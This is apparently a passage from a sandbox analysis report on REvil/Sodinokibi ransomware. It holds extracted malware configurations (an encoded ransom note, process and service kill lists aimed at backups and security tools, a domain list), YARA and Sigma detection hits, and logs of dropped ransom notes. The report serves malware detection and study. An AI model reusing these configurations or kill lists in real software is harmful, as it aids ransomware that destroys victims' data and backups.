"LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD0APQA9AC0ALQAtAA0ACgANAAoAWwAtAF0AIABXAGgAYQB0AHMAIABIAGEAcABQAGUAbgA/ACAAWwAtAF0ADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAsACAAYQBuAGQAIABjAHUAcgByAGUAbgB0AGwAeQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAuACAAWQBvAHUAIABjAGEAbgAgAGMAaABlAGMAawAgAGkAdAA6ACAAYQBsAGwAIABmAGkAbABlAHMAIABvAG4AIAB5AG8AdQByACAAcwB5AHMAdABlAG0AIABoAGEAcwAgAGUAeAB0AGUAbgBzAGkAbwBuACAAewBFAFgAVAB9AC4ADQAKAEIAeQAgAHQAaABlACAAdwBhAHkALAAgAGUAdgBlAHIAeQB0AGgAaQBuAGcAIABpAHMAIABwAG8AcwBzAGkAYgBsAGUAIAB0AG8AIAByAGUAYwBvAHYAZQByACAAKAByAGUAcwB0AG8AcgBlACkALAAgAGIAdQB0ACAAeQBvAHUAIABuAGUAZQBkACAAdABvACAAZgBvAGwAbABvAHcAIABvAHUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzAC4AIABPAHQAaABlAHIAdwBpAHMAZQAsACAAeQBvAHUAIABjAGEAbgB0ACAAcgBlAHQAdQByAG4AIAB5AG8AdQByACAAZABhAHQAYQAgACgATgBFAFYARQBSACkALgANAAoADQAKAFsAKwBdACAAVwBoAGEAdAAgAGcAdQBhAHIAYQBuAHQAZQBlAHMAPwAgAFsAKwBdAA0ACgANAAoASQB0AHMAIABqAHUAcwB0ACAAYQAgAGIAdQBzAGkAbgBlAHMAcwAuACAAVwBlACAAYQBiAHMAbwBsAHUAdABlAGwAeQAgAGQAbwAgAG4AbwB0ACAAYwBhAHIAZQAgAGEAYgBvAHUAdAAgAHkAbwB1ACAAYQBuAGQAIAB5AG8AdQByACAAZABlAGEAbABzACwAIABlAHgAYwBlAHAAdAAgAGcAZQB0AHQAaQBuAGcAIABiAGUAbgBlAGYAaQB0AHMALgAgAEkAZgAgAHcAZQAgAGQAbwAgAG4AbwB0ACAAZABvACAAbwB1AHIAIAB3AG8AcgBrACAAYQBuAGQAIABsAGkAYQBiAGkAbABpAHQAaQBlAHMAIAAtACAAbgBvAGIAbwBkAHkAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIAB1AHMALgAgAEkAdABzACAAbgBvAHQAIABpAG4AIABvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzAC4ADQAKAFQAbwAgAGMAaABlAGMAawAgAHQAaABlACAAYQBiAGkAbABpAHQAeQAgAG8AZgAgAHIAZQB0AHUAcgBuAGkAbgBnACAAZgBpAGwAZQBzACwAIABZAG8AdQAgAHMAaABvAHUAbABkACAAZwBvACAAdABvACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlAC4AIABUAGgAZQByAGUAIAB5AG8AdQAgAGMAYQBuACAAZABlAGMAcgB5AHAAdAAgAG8AbgBlACAAZgBpAGwAZQAgAGYAbwByACAAZgByAGUAZQAuACAAVABoAGEAdAAgAGkAcwAgAG8AdQByACAAZwB1AGEAcgBhAG4AdABlAGUALgANAAoASQBmACAAeQBvAHUAIAB3AGkAbABsACAAbgBvAHQAIABjAG8AbwBwAGUAcgBhAHQAZQAgAHcAaQB0AGgAIABvAHUAcgAgAHMAZQByAHYAaQBjAGUAIAAtACAAZgBvAHIAIAB1AHMALAAgAGkAdABzACAAZABvAGUAcwAgAG4AbwB0ACAAbQBhAHQAdABlAHIALgAgAEIAdQB0ACAAeQBvAHUAIAB3AGkAbABsACAAbABvAHMAZQAgAHkAbwB1AHIAIAB0AGkAbQBlACAAYQBuAGQAIABkAGEAdABhACwAIABjAGEAdQBzAGUAIABqAHUAcwB0ACAAdwBlACAAaABhAHYAZQAgAHQAaABlACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5AC4AIABJAG4AIABwAHIAYQBjAHQAaQBjAGUAIAAtACAAdABpAG0AZQAgAGkAcwAgAG0AdQBjAGgAIABtAG8AcgBlACAAdgBhAGwAdQBhAGIAbABlACAAdABoAGEAbgAgAG0AbwBuAGUAeQAuAA0ACgANAAoAWwArAF0AIABIAG8AdwAgAHQAbwAgAGcAZQB0ACAAYQBjAGMAZQBzAHMAIABvAG4AIAB3AGUAYgBzAGkAdABlAD8AIABbACsAXQANAAoADQAKAFkAbwB1ACAAaABhAHYAZQAgAHQAdwBvACAAdwBhAHkAcwA6AA0ACgANAAoAMQApACAAWwBSAGUAYwBvAG0AbQBlAG4AZABlAGQAXQAgAFUAcwBpAG4AZwAgAGEAIABUAE8AUgAgAGIAcgBvAHcAcwBlAHIAIQANAAoAIAAgAGEAKQAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAaQBuAHMAdABhAGwAbAAgAFQATwBSACAAYgByAG8AdwBzAGUAcgAgAGYAcgBvAG0AIAB0AGgAaQBzACAAcwBpAHQAZQA6ACAAaAB0AHQAcABzADoALwAvAHQAbwByAHAAcgBvAGoAZQBjAHQALgBvAHIAZwAvAA0ACgAgACAAYgApACAATwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBhAHAAbABlAGIAegB1ADQANwB3AGcAYQB6AGEAcABkAHEAawBzADYAdgByAGMAdgA2AHoAYwBuAGoAcABwAGsAYgB4AGIAcgA2AHcAawBlAHQAZgA1ADYAbgBmADYAYQBxADIAbgBtAHkAbwB5AGQALgBvAG4AaQBvAG4ALwB7AFUASQBEAH0ADQAKAA0ACgAyACkAIABJAGYAIABUAE8AUgAgAGIAbABvAGMAawBlAGQAIABpAG4AIAB5AG8AdQByACAAYwBvAHUAbgB0AHIAeQAsACAAdAByAHkAIAB0AG8AIAB1AHMAZQAgAFYAUABOACEAIABCAHUAdAAgAHkAbwB1ACAAYwBhAG4AIAB1AHMAZQAgAG8AdQByACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlAC4AIABGAG8AcgAgAHQAaABpAHMAOgANAAoAIAAgAGEAKQAgAE8AcABlAG4AIAB5AG8AdQByACAAYQBuAHkAIABiAHIAbwB3AHMAZQByACAAKABDAGgAcgBvAG0AZQAsACAARgBpAHIAZQBmAG8AeAAsACAATwBwAGUAcgBhACwAIABJAEUALAAgAEUAZABnAGUAKQANAAoAIAAgAGIAKQAgAE8AcABlAG4AIABvAHUAcgAgAHMAZQBjAG8AbgBkAGEAcgB5ACAAdwBlAGIAcwBpAHQAZQA6ACAAaAB0AHQAcAA6AC8ALwBkAGUAYwBvAGQAZQByAC4AcgBlAC8AewBVAEkARAB9AA0ACgANAAoAVwBhAHIAbgBpAG4AZwA6ACAAcwBlAGMAbwBuAGQAYQByAHkAIAB3AGUAYgBzAGkAdABlACAAYwBhAG4AIABiAGUAIABiAGwAbwBjAGsAZQBkACwAIAB0AGgAYQB0AHMAIAB3AGgAeQAgAGYAaQByAHMAdAAgAHYAYQByAGkAYQBuAHQAIABtAHUAYwBoACAAYgBlAHQAdABlAHIAIABhAG4AZAAgAG0AbwByAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAuAA0ACgANAAoAVwBoAGUAbgAgAHkAbwB1ACAAbwBwAGUAbgAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQAsACAAcAB1AHQAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAZABhAHQAYQAgAGkAbgAgAHQAaABlACAAaQBuAHAAdQB0ACAAZgBvAHIAbQA6AA0ACgBLAGUAeQA6AA0ACgANAAoADQAKAHsASwBFAFkAfQANAAoADQAKAA0ACgAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ADQAKAA0ACgAhACEAIQAgAEQAQQBOAEcARQBSACAAIQAhACEADQAKAEQATwBOACcAVAAgAHQAcgB5ACAAdABvACAAYwBoAGEAbgBnAGUAIABmAGkAbABlAHMAIABiAHkAIAB5AG8AdQByAHMAZQBsAGYALAAgAEQATwBOACcAVAAgAHUAcwBlACAAYQBuAHkAIAB0AGgAaQByAGQAIABwAGEAcgB0AHkAIABzAG8AZgB0AHcAYQByAGUAIABmAG8AcgAgAHIAZQBzAHQAbwByAGkAbgBnACAAeQBvAHUAcgAgAGQAYQB0AGEAIABvAHIAIABhAG4AdABpAHYAaQByAHUAcwAgAHMAbwBsAHUAdABpAG8AbgBzACAALQAgAGkAdABzACAAbQBhAHkAIABlAG4AdABhAGkAbAAgAGQAYQBtAGEAZwBlACAAbwBmACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABhAG4AZAAsACAAYQBzACAAcgBlAHMAdQBsAHQALAAgAFQAaABlACAATABvAHMAcwAgAGEAbABsACAAZABhAHQAYQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEADQAKAE8ATgBFACAATQBPAFIARQAgAFQASQBNAEUAOgAgAEkAdABzACAAaQBuACAAeQBvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzACAAdABvACAAZwBlAHQAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYgBhAGMAawAuACAARgByAG8AbQAgAG8AdQByACAAcwBpAGQAZQAsACAAdwBlACAAKAB0AGgAZQAgAGIAZQBzAHQAIABzAHAAZQBjAGkAYQBsAGkAcwB0AHMAKQAgAG0AYQBrAGUAIABlAHYAZQByAHkAdABoAGkAbgBnACAAZgBvAHIAIAByAGUAcwB0AG8AcgBpAG4AZwAsACAAYgB1AHQAIABwAGwAZQBhAHMAZQAgAHMAaABvAHUAbABkACAAbgBvAHQAIABpAG4AdABlAHIAZgBlAHIAZQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEAAAA=", "et": 0, "wipe": true, "wfld": ["backup"], "rdmcnt": 0, "nname": "{EXT}-readme.txt", "pk": "9/AgyLvWEviWbvuayR2k0Q140e9LZJ5hwrmto/zCyFM=", "net": false, "exp": false, "arn": false}

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
revil.exeAPT_MAL_REvil_Kaseya_Jul21_2Detects malware used in the Kaseya supply chain attackFlorian Roth
  • 0x176ba:$opa1: 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08
  • 0x176b7:$opa2: 89 45 F0 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00
  • 0x176bd:$opa3: 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08 0F B6 14 01
  • 0x17679:$opa4: 89 45 F4 8B 0D 10 20 07 10 89 4D F8 8B 15 48 21 07 10 89 55 FC FF 75 FC FF 75 F8 FF 55 F4
  • 0x17f0d:$opb1: 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC CC
  • 0x17f15:$opb2: 18 00 10 0E 19 00 10 CC CC CC CC 8B 44 24 04
  • 0x17f0b:$opb3: 10 C4 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Windows\mpsvc.dllAPT_MAL_REvil_Kaseya_Jul21_2Detects malware used in the Kaseya supply chain attackFlorian Roth
  • 0x52a:$opa1: 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08
  • 0x527:$opa2: 89 45 F0 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00
  • 0x52d:$opa3: 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08 0F B6 14 01
  • 0x4e9:$opa4: 89 45 F4 8B 0D 10 20 07 10 89 4D F8 8B 15 48 21 07 10 89 55 FC FF 75 FC FF 75 F8 FF 55 F4
  • 0xd7d:$opb1: 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC CC
  • 0xd85:$opb2: 18 00 10 0E 19 00 10 CC CC CC CC 8B 44 24 04
  • 0xd7b:$opb3: 10 C4 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000002.917270010.0000000000F60000.00000040.00000001.sdmpMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
  • 0x5cab:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
  • 0xad3f:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
  • 0xb32b:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
  • 0xa564:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
  • 0xad2e:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmpMAL_RANSOM_REvil_Oct20_1Detects REvil ransomwareFlorian Roth
  • 0x61af:$op1: 0F 8C 74 FF FF FF 33 C0 5F 5E 5B 8B E5 5D C3 8B
  • 0xb243:$op2: 8D 85 68 FF FF FF 50 E8 2A FE FF FF 8D 85 68 FF
  • 0xb82f:$op3: 89 4D F4 8B 4E 0C 33 4E 34 33 4E 5C 33 8E 84
  • 0xaa68:$op4: 8D 85 68 FF FF FF 50 E8 05 06 00 00 8D 85 68 FF
  • 0xb232:$op5: 8D 85 68 FF FF FF 56 57 FF 75 0C 50 E8 2F
00000001.00000003.649759193.00000000033F8000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
    00000001.00000003.650121407.00000000033F8000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
      00000001.00000003.649936181.00000000033F8000.00000004.00000040.sdmpJoeSecurity_SodinokibiYara detected Sodinokibi RansomwareJoe Security
        Click to see the 7 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        0.2.revil.exe.17a790.1.raw.unpackAPT_MAL_REvil_Kaseya_Jul21_2Detects malware used in the Kaseya supply chain attackFlorian Roth
        • 0x52a:$opa1: 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08
        • 0x527:$opa2: 89 45 F0 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00
        • 0x52d:$opa3: 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08 0F B6 14 01
        • 0x4e9:$opa4: 89 45 F4 8B 0D 10 20 07 10 89 4D F8 8B 15 48 21 07 10 89 55 FC FF 75 FC FF 75 F8 FF 55 F4
        • 0xd7d:$opb1: 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC CC
        • 0xd85:$opb2: 18 00 10 0E 19 00 10 CC CC CC CC 8B 44 24 04
        • 0xd7b:$opb3: 10 C4 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC
        1.2.MsMpEng.exe.6d4c0000.3.unpackAPT_MAL_REvil_Kaseya_Jul21_2Detects malware used in the Kaseya supply chain attackFlorian Roth
        • 0x52a:$opa1: 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08
        • 0x527:$opa2: 89 45 F0 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00
        • 0x52d:$opa3: 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08 0F B6 14 01
        0.2.revil.exe.1750c0.2.raw.unpackAPT_MAL_REvil_Kaseya_Jul21_2Detects malware used in the Kaseya supply chain attackFlorian Roth
        • 0x5bfa:$opa1: 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08
        • 0x5bf7:$opa2: 89 45 F0 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00
        • 0x5bfd:$opa3: 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08 0F B6 14 01
        • 0x5bb9:$opa4: 89 45 F4 8B 0D 10 20 07 10 89 4D F8 8B 15 48 21 07 10 89 55 FC FF 75 FC FF 75 F8 FF 55 F4
        • 0x644d:$opb1: 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC CC
        • 0x6455:$opb2: 18 00 10 0E 19 00 10 CC CC CC CC 8B 44 24 04
        • 0x644b:$opb3: 10 C4 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC
        0.0.revil.exe.1750c0.2.raw.unpackAPT_MAL_REvil_Kaseya_Jul21_2Detects malware used in the Kaseya supply chain attackFlorian Roth
        • 0x5bfa:$opa1: 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08
        • 0x5bf7:$opa2: 89 45 F0 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00
        • 0x5bfd:$opa3: 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08 0F B6 14 01
        • 0x5bb9:$opa4: 89 45 F4 8B 0D 10 20 07 10 89 4D F8 8B 15 48 21 07 10 89 55 FC FF 75 FC FF 75 F8 FF 55 F4
        • 0x644d:$opb1: 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC CC
        • 0x6455:$opb2: 18 00 10 0E 19 00 10 CC CC CC CC 8B 44 24 04
        • 0x644b:$opb3: 10 C4 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC
        0.0.revil.exe.17a790.1.raw.unpackAPT_MAL_REvil_Kaseya_Jul21_2Detects malware used in the Kaseya supply chain attackFlorian Roth
        • 0x52a:$opa1: 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08
        • 0x527:$opa2: 89 45 F0 8B 4D FC 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00
        • 0x52d:$opa3: 83 C1 01 89 4D FC 81 7D F0 FF 00 00 00 77 1F BA 01 00 00 00 6B C2 00 8B 4D 08 0F B6 14 01
        • 0x4e9:$opa4: 89 45 F4 8B 0D 10 20 07 10 89 4D F8 8B 15 48 21 07 10 89 55 FC FF 75 FC FF 75 F8 FF 55 F4
        • 0xd7d:$opb1: 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC CC
        • 0xd85:$opb2: 18 00 10 0E 19 00 10 CC CC CC CC 8B 44 24 04
        • 0xd7b:$opb3: 10 C4 18 00 10 BD 18 00 10 BD 18 00 10 0E 19 00 10 CC CC
        Click to see the 2 entries

        Sigma Overview

        System Summary:

        barindex
        Sigma detected: Executable Used by PlugX in Uncommon LocationShow sources
        Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\MsMpEng.exe, CommandLine: C:\Windows\MsMpEng.exe, CommandLine|base64offset|contains: , Image: C:\Windows\MsMpEng.exe, NewProcessName: C:\Windows\MsMpEng.exe, OriginalFileName: C:\Windows\MsMpEng.exe, ParentCommandLine: 'C:\Users\user\Desktop\revil.exe' , ParentImage: C:\Users\user\Desktop\revil.exe, ParentProcessId: 6960, ProcessCommandLine: C:\Windows\MsMpEng.exe, ProcessId: 6972

        Signature Overview

        Click to jump to signature section

        Show All Signature Results

        AV Detection:

        barindex
        Found malware configurationShow sources
        Source: MsMpEng.exe.6972.1.memstrMalware Configuration Extractor: Sodinokibi {"prc": ["encsvc", "powerpnt", "ocssd", "steam", "isqlplussvc", "outlook", "sql", "ocomm", "agntsvc", "mspub", "onenote", "winword", "thebat", "excel", "mydesktopqos", "ocautoupds", "thunderbird", "synctime", "infopath", "mydesktopservice", "firefox", "oracle", "sqbcoreservice", "dbeng50", "tbirdconfig", "msaccess", "visio", "dbsnmp", "wordpad", "xfssvccon"], "sub": "8254", "svc": ["veeam", "memtas", "sql", "backup", "vss", "sophos", "svc$", "mepocs"], "wht": {"ext": ["ps1", "ldf", "lock", "theme", "msi", "sys", "wpx", "cpl", "adv", "msc", "scr", "bat", "key", "ico", "dll", "hta", "deskthemepack", "nomedia", "msu", "rtp", "msp", "idx", "ani", "386", "diagcfg", "bin", "mod", "ics", "com", "hlp", "spl", "nls", "cab", "exe", "diagpkg", "icl", "ocx", "rom", "prf", "themepack", "msstyles", "lnk", "icns", "mpa", "drv", "cur", "diagcab", "cmd", "shs"], "fls": ["ntldr", "thumbs.db", "bootsect.bak", "autorun.inf", "ntuser.dat.log", "boot.ini", "iconcache.db", "bootfont.bin", "ntuser.dat", "ntuser.ini", "desktop.ini"], "fld": ["program files", "appdata", "mozilla", "$windows.~ws", "application data", "$windows.~bt", "google", "$recycle.bin", "windows.old", "programdata", "system volume information", "program files (x86)", "boot", "tor browser", "windows", "intel", "perflogs", "msocache"]}, "img": "QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA", "dmn": "boisehosting.net;fotoideaymedia.es;dubnew.com;stallbyggen.se;koken-voor-baby.nl;juneauopioidworkgroup.org;vancouver-print.ca;zewatchers.com;bouquet-de-roses.com;seevilla-dr-sturm.at;olejack.ru;i-trust.dk;wasmachtmeinfonds.at;appsformacpc.com;friendsandbrgrs.com;thenewrejuveme.com;xn--singlebrsen-vergleich-nec.com;sabel-bf.com;seminoc.com;ceres.org.au;cursoporcelanatoliquido.online;marietteaernoudts.nl;tastewilliamsburg.com;charlottepoudroux-photographie.fr;aselbermachen.com;klimt2012.info;accountancywijchen.nl;creamery201.com;rerekatu.com;makeurvoiceheard.com;vannesteconstruct.be;wellplast.se;andersongilmour.co.uk;bradynursery.com;aarvorg.com;facettenreich27.de;balticdermatology.lt;artige.com;highlinesouthasc.com;crowd-patch.co.uk;sofavietxinh.com;jorgobe.at;danskretursystem.dk;higadograsoweb.com;supportsumba.nl;ruralarcoiris.com;projetlyonturin.fr;kidbucketlist.com.au;harpershologram.wordpress.com;ohidesign.com;international-sound-awards.com;krlosdavid.com;durganews.com;leather-factory.co.jp;coding-machine.com;i-arslan.de;caribbeansunpoker.com;mir-na-iznanku.com;ki-lowroermond.nl;promesapuertorico.com;kissit.ca;dezatec.es;cite4me.org;grelot-home.com;musictreehouse.net;hkr-reise.de;id-vet.com;gasolspecialisten.se;vyhino-zhulebino-24.ru;karacaoglu.nl;bayoga.co.uk;solhaug.tk;jadwalbolanet.info;ncid.bc.ca;bricotienda.com;boldcitydowntown.com;homecomingstudio.com;sojamindbody.com;castillobalduz.es;asgestion.com;dushka.ua;hiddencityse
        Multi AV Scanner detection for dropped fileShow sources
        Source: C:\Windows\mpsvc.dllMetadefender: Detection: 14%Perma Link
        Source: C:\Windows\mpsvc.dllReversingLabs: Detection: 30%
        Multi AV Scanner detection for submitted fileShow sources
        Source: revil.exeVirustotal: Detection: 47%Perma Link
        Source: revil.exeMetadefender: Detection: 14%Perma Link
        Source: revil.exeReversingLabs: Detection: 15%
        Source: 0.0.revil.exe.160000.0.unpackAvira: Label: TR/Crypt.XPACK.Gen5
        Source: 0.2.revil.exe.160000.0.unpackAvira: Label: TR/Crypt.XPACK.Gen5
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A5B96 CryptAcquireContextW,CryptGenRandom,1_2_029A5B96
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A6491 CryptStringToBinaryW,CryptStringToBinaryW,1_2_029A6491
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A64F2 CryptBinaryToStringW,CryptBinaryToStringW,1_2_029A64F2
        Source: revil.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
        Source: C:\Windows\MsMpEng.exeDirectory created: c:\program files\tmpJump to behavior
        Source: C:\Windows\MsMpEng.exeDirectory created: c:\program files\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: C:\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files (x86)\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\recovery\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files (x86)\microsoft sql server\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files (x86)\microsoft sql server\110\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\desktop\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\documents\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\downloads\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\favorites\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\links\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\music\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\pictures\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\saved games\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\videos\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\3d objects\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\contacts\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\downloads\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\favorites\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\links\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\music\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\onedrive\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\pictures\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\recent\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\saved games\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\searches\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\videos\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\accountpictures\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\desktop\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\documents\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\downloads\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\libraries\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\music\z4ra2w5g-readme.txtJump to behavior
